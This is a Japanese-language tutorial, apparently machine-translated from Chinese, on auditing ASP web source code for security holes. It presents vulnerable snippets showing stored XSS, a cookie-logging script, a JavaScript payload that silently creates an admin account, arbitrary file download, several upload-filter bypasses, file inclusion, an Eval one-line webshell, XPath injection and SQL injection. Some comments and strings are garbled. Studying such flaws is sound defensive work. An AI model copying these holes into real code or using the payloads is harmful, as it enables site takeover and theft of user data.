ASPの章のWebソースコードのセキュリティ監査

<% 
dim conn 
dim connstr 
dim db 
db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      'データベースファイルの場所 
Set conn = Server.CreateObject("ADODB.Connection") 
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) 
conn.Open connstr 
%> 

 <% 
Content = "" 
    For i = 1 To Request.Form("Content").Count 
        Content = Content & Request.Form("Content")(i) 
    Next 
………… //省略部分代码 
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
    rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
    rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
    rs("Content")=Content 
    rs.Update 
 %> 

<% 
c=Request.ServerVariables("QUERY_STRING") 
testfile=Server.MapPath("cookies.txt") 
set fs=server.CreateObject("scripting.filesystemobject") 
set thisfile=fs.OpenTextFile(testfile,8,True,0) 
thisfile.Writeline(""&c& "") 
thisfile.close 
set fs = nothing 
%> 

Public Function HTMLEncode(str) 
    If Not IsNull(str) Then 
        str = Replace(str, Chr(38), "&") 
        str = Replace(str, "<", "<") 
        str = Replace(str, ">", ">") 
        str = Replace(str, Chr(9), " ") 
        str = Replace(str, Chr(32), " ")        
        str = Replace(str, Chr(34), """) 
        str = Replace(str, Chr(39), "'") 
        str = Replace(str, Chr(13) & Chr(10), " 
") 
        str = Replace(str, Chr(10), " 
") 
        str = Replace(str, Chr(13), " 
") 
        HTMLEncode = str 
    End If 
End Function 
//以下は、脆弱性のキーポイントである 
Content = "" 
    For i = 1 To Request.Form("Content").Count 
        Content = Content & Request.Form("Content")(i) 
    Next 
………… //省略部分代码 
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
    rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
    rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
    rs("Content")=Content 
    rs.Update 

var request = false; 
if(window.XMLHttpRequest) { 
request = new XMLHttpRequest(); 
if(request.overrideMimeType) { 
request.overrideMimeType('text/xml'); 
} 
} else if(window.ActiveXObject) { 
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; 
for(var i=0; i<versions.length; i++) { 
try { 
request = new ActiveXObject(versions[i]); 
} catch(e) {} 
} 
} 
xmlhttp=request; 
  
add_admin(); 
function add_admin(){ 
var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"; 
var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";   
xmlhttp.open("POST", url, true); 
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
xmlhttp.setRequestHeader("Content-length", params.length); 
xmlhttp.setRequestHeader("Connection", "close"); 
xmlhttp.send(params); 
} 

<% 
Dim Stream 
Dim Contents 
Dim FileName 
Dim TrueFileName 
Dim FileExt 
Dim SavePath 
  
Const adTypeBinary = 1 
FileName = Request.QueryString("FileName") 
If FileName = "" Then 
    Response.Write "無効なファイル名だ 
    Response.End 
End if 
  
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) 
Select Case UCase(FileExt) 
    Case "ASP", "ASA", "ASPX", "ASAX", "MDB" 
        Response.Write "違法な操作！" 
        Response.End 
End Select 
Response.Clear 
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then 
    Response.ContentType = "image/*" 'イメージファイルのダウンロードダイアログボックスが表示されない 
else 
    Response.ContentType = "application/ms-download" 
end if 
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) 
Set Stream = server.CreateObject("ADODB.Stream") 
Stream.Type = adTypeBinary 
Stream.Open 
  
SavePath = FileUploadPath        'アップロードされたファイルが格納されているディレクトリ 
TrueFileName = SavePath & FileName 
  
Stream.LoadFromFile Server.MapPath(TrueFileName) 
While Not Stream.EOS 
    Response.BinaryWrite Stream.Read(1024 * 64) 
Wend 
Stream.Close 
Set Stream = Nothing 
Response.Flush 
Response.End 
%> 

<% 
dim upload,file,formName,formPath,iCount,filename,fileExt 
set upload=new upload_5xSoft 
formPath=upload.form("filepath")   '//脆弱性のキーポイント 
if right(formPath,1)<>"/" then formPath=formPath&"/" 
for each formName in upload.objFile 
set file=upload.file(formName) 
  
fileExt=lcase(right(file.filename,4))  '//ファイル名から最後の4ビットを取り出し、小文字に変換する。 
if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then 
response.write "不正なファイル形式 [ 再アップロード ]" 
response.end 
end if 
randomize 
ranNum=int(90000*rnd)+10000 
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt  '//脆弱性のキーポイントファイル名+ランダムファイル名の年、月、日のパスで提出+変換された拡張子の構成 
if file.FileSize>0 then 
file.SaveAs Server.mappath(FileName) 
response.write "アップロード成功！" 
end if 
set file=nothing 
%> 

<% 
const UpFileType="rar|zip|exe|mpg|rm|wav|mid" 
dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize 
dim EnableUpload 
dim arrUpFileType 
dim ranNum 
dim msg,FoundErr 
msg="" 
FoundErr=false 
EnableUpload=false 
for each formName in upload.file 'すべてのアップロードファイルをリストする 
  
        set ofile=upload.file(formName)  'ファイルオブジェクトを生成する 
        oFileSize=ofile.filesize 
        if oFileSize<100 then="" msg="请先选择你要上传文書！" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then 
             msg="ファイルサイズが制限を超えると、最大のみアップロードすることができる" "。 & CStr(MaxFileSize) & "K的文件！" 
            FoundErr=true 
        end if 
        fileExt=lcase(ofile.FileExt) 
        arrUpFileType=split(UpFileType,"|") 
        for i=0 to ubound(arrUpFileType) 
            if fileEXT=trim(arrUpFileType(i)) then 
                EnableUpload=true    ' 最初のパスファイルはrar拡張子に準拠する，EnableUpload = true 
                exit for 
            end if 
        next    
  
        if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
            EnableUpload=false        'それは送信の3つの禁止タイプに属しているかどうかをテストするために2番目のパスは、それがに属していないため、変数EnableUploadはまだ真である。 
        end if 
  
        if EnableUpload=false then        ' 第三关 如果EnableUpload=false，その後FoundErr=true，そして、フロントはEnableUploadに渡される=true，そのFoundErrは、最初のFORループに偽のままである。 
            msg="このファイルタイプはアップロードを許可しない！

これらのファイルタイプのみがアップロードを許可されている：" & UpFileType 
            FoundErr=true 
        end if 
if FoundErr<>true then            ' 第四关 如果FoundErr<>true就可以通过，看一下从第三关传递过来的FoundErr的值，是 false，可以上传。 
            FileName=SavePath & ofile.FileName 
            If IsObjInstalled("Scripting.FileSystemObject") Then 
                dim fso 
                set fso=CreateObject("Scripting.FileSystemObject") 
                if fso.FileExists(Server.mappath(FileName)) then 
                    randomize 
                    ranNum=int(900*rnd)+100 
                        filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
                end if 
                set fso=nothing 
            end if 
            ofile.SaveToFile Server.mappath(FileName) 
%> 

<% 
Private Function FixName(Byval UpFileExt) 
        If IsEmpty(UpFileExt) Then Exit Function 
        FixName = Lcase(UpFileExt) 
        FixName = Replace(FixName,Chr(0),"") 
        FixName = Replace(FixName,".","") 
        FixName = Replace(FixName,"'","") 
        FixName = Replace(FixName,"asp","") 
        FixName = Replace(FixName,"asa","") 
        FixName = Replace(FixName,"aspx","") 
        FixName = Replace(FixName,"cer","")     '第一关检查,ccerer变成了cer 成功绕过 
        FixName = Replace(FixName,"cdx","") 
        FixName = Replace(FixName,"htr","") 
        FixName = Replace(FixName,"shtml","") 
End Function 
  
Private Function CheckFileExt(FileExt) 
        Dim Forumupload,i 
        CheckFileExt=False 
        If FileExt="" or IsEmpty(FileExt) Then 
            CheckFileExt = False 
            Exit Function 
        End If 
        If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then    ' 第二关 cer并不在检测范围内，成功绕过 
            CheckFileExt = False 
            Exit Function 
        End If 
        Forumupload = Split(InceptFile,",") 
        For i = 0 To ubound(Forumupload) 
            If FileExt = Trim(Forumupload(i)) Then        ' 第三关 cer后缀名在数据库变量中 成功匹配 
                CheckFileExt = True 
                Exit Function 
            Else 
                CheckFileExt = False 
            End If 
        Next 
End Function 
%> 

<% 
if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then 
        response.Write("この機能を使用するには、ログインしてください！") 
    else 
        select case upload_type 
            case 0 
                call upload_0()  'Chemosphereコンポーネントレスアップロードクラスを使用する 
            case else 
                response.write "このシステムは、プラグイン機能を開いていない 
                response.end 
        end select 
end if 
%> 

<%Server.Execute(Request.QueryString("file"))%>

<% 
Function InitParam() 
    sStyleID = Trim(Request("id")) 
    sUploadDir = "" 
    If IsNumeric(sStyleID) = True Then 
        sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID 
        oRs.Open sSql, oConn, 0, 1 
        If Not oRs.Eof Then 
            sUploadDir = oRs(0) 
        End If 
        oRs.Close 
    End If 
    If sUploadDir = "" Then 
        sStyleID = "" 
    Else 
        sUploadDir = Replace(sUploadDir, "", "/") 
        If Right(sUploadDir, 1) <> "/" Then 
            sUploadDir = sUploadDir & "/" 
        End If 
    End If 
    sCurrDir = sUploadDir 
  
    ' スタイルカタログ 
    sDir = Trim(Request("dir")) 
    If sDir <> "" Then 
        If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
            sCurrDir = sUploadDir & sDir & "/" 
        Else 
            sDir = "" 
        End If 
    End If 
End Function 
%> 

 <% 
Dim From_url , Serv_url 
    From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) 
    Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) 
    If Mid(From_url,8,Len(Serv_url)) <> Serv_url then 
        Response.Write "違法リンク 
        Response.End 
    End if 
%> 

<%=Eval(Request("parma"))%>

<% 
function SelectXmlNodeText(elementname,elementpass) 
    On Error Resume Next 
    elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" 
    temp =  XMLMorntekDocument.selectSingleNode(elementname).text 
    If temp <> "" Then 
        Session("UserName") = "asp163" 
        Response.Write("Welcome , Sysadmin") 
    Else 
        Response.Redirect("/admin/Login.asp") 
    end if 
end function  
ConnectXml("../admin.xml") 
Call SelectXmlNodeText(Request("name"),Request("pass")) 
%> 

<% 
Set rs = Server.CreateObject("ADODB.RecordSet") 
sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") 
rs.Open sqlString, Conn, 1, 1 
%>